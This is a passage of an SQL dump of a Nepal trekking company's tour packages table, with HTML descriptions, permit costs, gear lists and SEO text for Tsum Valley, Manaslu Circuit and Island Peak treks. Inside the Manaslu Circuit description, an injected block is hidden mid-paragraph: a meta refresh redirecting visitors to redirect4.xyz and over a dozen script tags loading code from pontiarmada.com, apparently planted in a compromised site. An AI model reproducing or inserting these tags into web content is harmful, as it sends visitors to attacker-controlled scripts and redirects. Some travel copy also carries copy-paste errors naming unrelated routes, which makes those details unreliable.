chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before departing to the destination. During the trekking to Tsum Valley, most of the places, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Bucket Shower is possible in high altitude after Samdo Village due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Tsum Valley.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Tsum Valley. We suggest trekkers to make plan to be covered up to 4,200 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why needed to make insurance before you fly to Nepal for Tsum Valley.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking permit is mandatory to entry Manaslu region. So, we provide Manaslu Conservation Area Permit (MCAP) which cost 30$ per person.<br>&nbsp;&nbsp;<br>Tsum Valley Permit cost September – November USD 40 per person / week and USD 7 per person / day (beyond 1 week), December – August USD 30 per person / week and USD 7 per person / day (beyond 1 week). Tsum Valley is restricted area so without a government holder licensed Guide, foreign tourist cannot entry to Tsum Valley region. So a Trekking guide is compulsory for Tsum Valley Trekking.&nbsp;<br><br>Permits can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Lapu Bensi. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Tsum Valley, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Circuit. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Tsum Valley Trek.&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Raincoat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit (Though our guide also has First Aid Kit)<br>&nbsp;</li></ul>', 'Tsum Valley Trek | Tsum Valley Trekking in Nepal | Tsum Valley Trekking Best Cost 2025', 'Explore on a unique trekking adventure to Tsum Valley with Adventures Planner. Discover the hidden beauty of this sacred valley, rich in culture and stunning landscapes. Book your Tsum Valley Trek today!', 'Tsum Valley Trek, Tsum Valley Trekking in Nepal, Tsum Valley Trekking Best Cost 2025, Tsum Valley trek, Tsum Valley Nepal, trekking in Tsum Valley, sacred valley Nepal, Tsum Valley adventure, Nepal trekking tours, Tsum Valley hiking, trekking to Tsum Valley, hidden gem of Nepal, Adventures Planner', NULL, '2023-07-17 09:34:22', '2024-12-31 06:51:09');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(30, 'Manaslu Circuit Trek and Tsum Valley', 'manaslu-circuit-trek-and-tsum-valley', '56', NULL, '56,396,364,365,363', 1, '<p style=\"text-align:justify;\">Manaslu Circuit Trek with Tsum valley offers original Tibetan existence of Tsum people, their primitive living standard with adventure Himalayan cross of Larkya La having beautiful landscape of Mt. Manaslu, Ganesh Himal, Sringi Himal, Boudha Himal, Annapurna II, magical Himalayan glacier moraine and off the beaten trekking trail. This trekking route is very significant due to historical, cultural and adventure hidden beauty of Manaslu region, untouched modernity, classical Tibetan Buddhism, as well as isolated land with gorgeous greenery. &nbsp;&nbsp;<br><br>The real inhabitants of Tusm Vallery are Tibetan origin and speak the unique dialect. A women keeping more than one husband at a time is the most interesting events of this region. There is the presence of a long history of Buddhism where Milarepa had mediated in the 8th century and even people equally pray to Guru Padmasambhava who is the father of Budhhism in Tibet, Bhutan, and Nepal. They perform numerous rituals and festival against devil entities. Slaughtering animals on honorable deities does not accept here.&nbsp;&nbsp;<br><br>Samagaon is one of the best places for acclimatization during Manaslu Circuit Trek with Tsum valley. Trekkers need rest to cross high passes to avoid altitude sickness and make trip safety. Samagaon is the gateway to Manaslu Trek, having traditional Tibetan settlement, Gompas, Buddhist crafted lined stones, Coldwater with Ice, women having red smiling cheeks with beautiful jewels around Neck, children running from one place to other and Old Lama in his Lama dress chanting Mantra are the major attraction of Samagaon village.&nbsp;<script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script>&nbsp;<meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script>&nbsp;<br><br>First, we visit Tsum valley by leaving the main trail of Manaslu circuit trek from Ekle Bhatti village, return here after exploring Tsum valley and continue our trek by following the path of around Manaslu. Manaslu Cirucit Trek with Tsum valley begins after have 6-7 hour drive by private Jeep from Kathmandu to Soti Khola, walking through several ridges, local villages, terrace vegetation field, suspension bridges till to Tusm valley and adventure trek to Larkya La via high altitude land, glacier moraine, Lakes, Monasteries, Chortens, Mani walls, and beautiful cultural villages of Namrung, Samagaon and Samdo. And the trek ends in Dharapani village of Annapurna region after crossing lifetime unforgettable Himalayan pass with amazing landscape.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"text-align:justify;\">Highlights&nbsp;</h4><ul><li style=\"text-align:justify;\">Amazing view of Mt. Manaslu (8163m), Ganesh Himal, Sringi Himal, Boudha Himal and Annapurna II</li><li style=\"text-align:justify;\">Spectacular land of Geography and classical Tibetan Buddhism&nbsp;</li><li style=\"text-align:justify;\">Tha land of Guru Rimpochen and Milarepa&nbsp;</li><li style=\"text-align:justify;\">Old Tibetan Buddhist Monasteries, Mani Wall, Chortens, Gompa and attractive traditional villages</li><li style=\"text-align:justify;\">Trek to off the beaten path, sacred Himalayan Pilgrimage &amp; Budi Gandaki River lights&nbsp;</li><li style=\"text-align:justify;\">Scenic drive from Kathmandu to Soti Khola</li><li style=\"text-align:justify;\">Historical Pungyen Monastery, Birendra Lake, Adventure Larkya La pass</li><li style=\"text-align:justify;\">Beautiful cultural villages of Samagaon, Samdo and Namrung and welcoming Gurung People</li><li style=\"text-align:justify;\">Classical Trekking trail, Virgin nature, Hidden valleys, waterfall,&nbsp;<br>&nbsp;</li></ul>', 'Manaslu Circuit Trek with Tsum valley offers original Tibetan existence of Tsum people, their primitive living standard with adventure Himalayan cross of Larkya La having beautiful landscape of Mt. Manaslu, Ganesh Himal, Sringi Himal, Boudha Himal, Annapurna II, magical Himalayan glacier moraine and off the beaten trekking trail. This trekking route is very significant due to historical, cultural and adventure hidden beauty of Manaslu region, untouched modernity, classical Tibetan Buddhism, as well as isolated land with gorgeous greenery.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Soti Khola drive by Private Jeep (Before Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Dharapani to Besisahar drive by Privete Jeep (After Trek) and Besisahar to Kathmandu drive by private Transport&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Manaslu Ciruict Trekking with Tsum Valley&nbsp;</li><li style=\"list-style-type:circle;\">Manaslu special permit, MCAP/ACCAP, and all documents for Manaslu Circuit Trekking with Tsum Valley&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Manaslu Circuit Trekking with Tsum valley</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek Manaslu and Tsum Valley? &nbsp;You do not need to be a good Football player or Olympic athlete to success Manaslu, Tsum Valley trek. Sometime, we have many experience of young people failing to reach Manaslu Circuit with Tsum Valley and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Manaslu Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Manaslu with happy mood are the hallmarks of your successful journey to destination. Though, Manaslu Circuit and Tsum Valley is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Annapurna Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Manaslu Circuit and Tsum Valley, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Manaslu Circuit is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd, but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Manaslu Circuit and Tsum Valley, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after Manang, there will be very basic Tea house Room with Beds. In some places in Tsum valley section, there is monastic Tea houses.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Manaslu Circuit and Tsum Valley. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily. But meat is not allowed to eat in Tsum Valley section due to culture and belief to their tradition. &nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommended to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Manaslu region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Dharapani, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\">Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is not available all the way to Manaslu Circuit. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Manaslu Circuit, most of the places, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Bucket Shower is possible in high altitude after Samdo Village due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Manaslu. We suggest trekkers to make plan to be covered up to 5300 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking permit is mandatory to entry Manaslu region. So, we provide Manaslu Conservation Area Permit (MCAP) and Annapurna Conservation Area Permit (ACAP), which cost 30$ per person each region.&nbsp;<br><br>Manaslu Special permit (From September to November per week per person US$100 and After 7 days per day per person US$ 10 and From December to August per week per person US$75and After 7 days per day per person US$ 7 /or equivalent convertible foreign currency.&nbsp;</p><p style=\"text-align:justify;\"><br>Tsum Valley Permit cost September – November USD 40 per person / week and USD 7 per person / day (beyond 1 week), December – August USD 30 per person / week and USD 7 per person / day (beyond 1 week). Manaslu is restricted area so without a government holder licensed Guide, foreign tourist cannot entry to Manaslu region. So, a Trekking guide is compulsory for Manaslu and Tsum Valley Trekking.&nbsp;<br><br>Permits can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finishing the trek in Besisahar. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Manaslu Circuit and Tsum Valley, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Circuit. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Manaslu Circuit and Tsum Valley Trek.&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof warm Gloves</li><li style=\"list-style-type:circle;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:circle;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:circle;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:circle;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:circle;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:circle;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:circle;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:circle;text-align:justify;\">Raincoat&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Camera</li><li style=\"list-style-type:circle;text-align:justify;\">Personal first Aid Kit (Though our guide also has First Aid Kit)</li></ul><p style=\"text-align:justify;\">&nbsp;</p><p>&nbsp;</p>', 'Manaslu Circuit Trek and Tsum Valley | Adventure Planner', 'Explore the breathtaking Manaslu Circuit Trek and the serene Tsum Valley with Adventure Planner. Discover stunning landscapes, rich culture, and remote villages on this unforgettable trekking adventure in the heart of the Himalayas. Join us for an experience of a lifetime!', 'Manaslu Circuit Trek & Tsum Valley, Manaslu Circuit Trek, Tsum Valley, trekking in Nepal, adventure travel, Himalayas trek, cultural experience, scenic landscapes, Nepal trekking tours, Adventure Planner, Tsum Valley With Manaslu Trek, Manaslu Tsum Valley Trekking Cost and Itinerary 2025', NULL, '2023-07-18 05:47:38', '2025-02-26 02:49:43');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(31, 'Island Peak Climbing', 'island-peak-climbing', '200', NULL, '197,199,201,198,200', 1, '<p style=\"text-align:justify;\">Island Peak is also known as Imja Tse located in eastern part of Nepal in Everest region of Sagarmatha National Park with an elevation of 6,189 meter, standing between Ama Dablam and Lhotse Peaks. The British Everest expedition team named this peak as Island Peak in 1953 later it was renamed to Imja Tse but till today Island peak remains the popular name. The south summit of Island Peak was first climbed as training exercise by a team who went to Mt. Everest summit. The climbers are Tenzing Norgay Sherpa, Alfred Gregory, Charles Evans, Charles Wylie and other Sherpa members. Later, in 1956 Hans-Rudolf Von Gunten and Sherpa Guide climbed on the summit of Island Peak from Swiss team who became the first Island peak summiteer.&nbsp;<br><br>We combine Island Peak climbing along with Everest Base Camp trek due to high altitude training and exercise before to make successful ascent. So, Island peak climbing covers both Everest Base Camp Trek and adventure experience of Mountain alpinism as well as explore pristine unique Sherpa culture; witness amazing glacial moraines, historical Buddhist monasteries, prayer rocks, Mani wall and Chortens. Island peak climbing begins after having scenic flight to Lukla from Kathmandu and follow the trail of Everest Base Camp; explore around, climb Kala Patthar and hike to Dingboche, Chhukung, Island Peak Base Camp and finally Summit.&nbsp;<br><br>Island Peak is popular peak climbing in Nepal listing on Nepal Mountaineering Association Peak among 33 NMA peaks. The summit of Island peak offers magnificent view of Himalayan sights, valleys, and amazing glaciers. The Himalayan wonders such as Lhotse (8,516m), Nuptse (7,861m), Ama Dablam (6,812m), Makalu (8,481m) and more white panoramic views can be seen from top of Island Peak. Climbers can have unforgettable climbing experience due to its adventure and delightful ascending part. But the climb near to the summit is somehow difficult due to steep route.</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">About Climbing Route</h3><p style=\"text-align:justify;\"><br>Island peak is not technically challenging but physically demanding. We will begin our climbing part from base camp which is located with an elevation of 5,087 meters. Around 2 or 3 am our guide will lead the route and ascend to high camp which is situated in 5,600 meters. Base Camp to high camp is basically a hike but just above high camp, there are rocky trails that will be more challenging and exciting till summit. Nearby the top of Island peak is full of steep snow and ice slope so from here need to fixed ropes which is set by our Guide. Due to steep route, the end part of summit is quite difficult. That is why first part of the climbing is physically hard but till we reach glacier field of second part, must have rope-up and wear crampons and the ascending part is very steep. We cannot see Mt. Everest from top due to huge wall of Lhotse but can have magnificent views of Himalaya, glaciers and valleys. The best time to climb Island peak is in spring (March-May) and autumn (September – October) season. &nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><h3 style=\"text-align:justify;\">About Base Camp</h3><p style=\"text-align:justify;\"><br>From Chukung, our climbing guide led the way to Island Peak Base Camp but not possible of lodges and Tea houses there. From Base Camp we have full board camping services which is fully organized by with local Sherpas. Climbers will sleep in camping tent where the climbing crew including Cook and other helpers provide Food and hot meals. In case of bad weather, we will have one more day for leisure and rest. We provide tents for sleeping, dining, ablutions including mattress and sleeping bags. In one day, we climb Island Peak and return back to base camp again.</p><p style=\"text-align:justify;\">&nbsp;</p><h4 style=\"list-style-type:square;text-align:justify;\">Lukla Airport</h4><p style=\"list-style-type:square;text-align:justify;\">Lukla airport is one of the most exciting airports in the world where in peak seasons, the airport becomes very busy with many flights from Kathmandu. Sometime due to unexpected weather the flight can be delay and cancellation of the flight is common here. If there will be uncertainty Lukla flight, also can have helicopter charter from Kathmandu which will be little expensive than regular aero plane flight. Even sometimes weather will change suddenly, so we suggest to have one more night in Kathmandu after finishing Gokyo Lake Trekking.&nbsp;</p><h4 style=\"text-align:justify;\">Highlights&nbsp;</h4><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Embark scenic mountain flight from Kathmandu to Lukla</li><li style=\"list-style-type:square;text-align:justify;\">Explore exclusive Sherpa settlement and Tibetan Buddhist living standard</li><li style=\"list-style-type:square;text-align:justify;\">Encounter splendid mountain view of Mt. Everest (8,848m), Lhotse (8,516m), Makalu (8,481m), Cho Oyu (8,201m), Nuptse (7,861m), Ama Dablam ( 6,812m), Thamserku (6,623m</li><li style=\"list-style-type:square;text-align:justify;\">Magnificent sunrise view of Kala Patthar &amp; exotic Khumbu Glacier&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Historical Tengboche Monastery, Chorten, Mani Wall and Payer flags&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Gateway of Mt. Everest called “Namche Bazaar.”</li><li style=\"list-style-type:square;text-align:justify;\">Exciting suspension Tenzing Hillary bridge of Jhorsalle</li><li style=\"list-style-type:square;text-align:justify;\">Amazing Island Peak climbing and impressive view of Chukung valley, glacier, and white mountains<br>&nbsp;</li></ul><h4 style=\"list-style-type:square;text-align:justify;\">&nbsp;</h4>', 'sland Peak is also known as Imja Tse located in eastern part of Nepal in Everest region of Sagarmatha National Park with an elevation of 6,189 meter, standing between Ama Dablam and Lhotse Peaks. The British Everest expedition team named this peak as Island Peak in 1953 later it was renamed to Imja Tse but till today Island peak remains the popular name. The south summit of Island Peak was first climbed as training exercise by a team who went to Mt. Everest summit.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport 